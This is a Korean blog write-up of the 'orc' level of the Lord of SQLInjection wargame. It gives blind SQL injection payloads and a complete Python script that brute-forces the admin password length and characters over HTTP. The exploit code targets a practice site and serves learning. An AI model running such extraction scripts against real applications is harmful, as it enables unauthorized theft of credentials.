반응형
문제
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php
문제풀이
첫번째 쿼리문에서 pw 파라미터를 통해 계정이 존재하는지 확인한다.
두번째 쿼리문 반환값의 pw와 pw 파라미터가 동일한지 확인하고, 동일하면 문제가 해결된다.
첫번째 쿼리문에서 blind injection을 시도하여 pw를 알아낼 수 있다.
아래 쿼리문을 통해 비밀번호 길이와 문자열을 추측할 수 있다.
select id from prob_orc where id='admin' and pw=''||1=1 -- ''";
- pw 길이
select id from prob_orc where id='admin' and pw=''||id='admin' and length(pw)=8 -- ''";
- pw 문자열
select id from prob_orc where id='admin' and pw=''||id='admin' and ascii(substr(pw,1,1))=48 -- ''";
pw 길이 8 만큼 추측해서 알아내야 하는데, 파이썬 코드를 통해 빠르게 알아낼 수 있다.
import requests
import time
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
# flag_len
flag_len=0
for i in range(50):
query="pw=%27||id=%27admin%27%20and%20length(pw)={}%20--%20%27".format(i)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="pw=%27||id=%27admin%27%20and%20ascii(substr(pw,{},1))={}%20--%20%27".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] darkelf (0) | 2023.01.22 |
---|---|
[LOS] wolfman (0) | 2023.01.22 |
[LOS] goblin (0) | 2023.01.21 |
[LOS] cobolt (0) | 2023.01.21 |
[LOS] gremlin (0) | 2023.01.21 |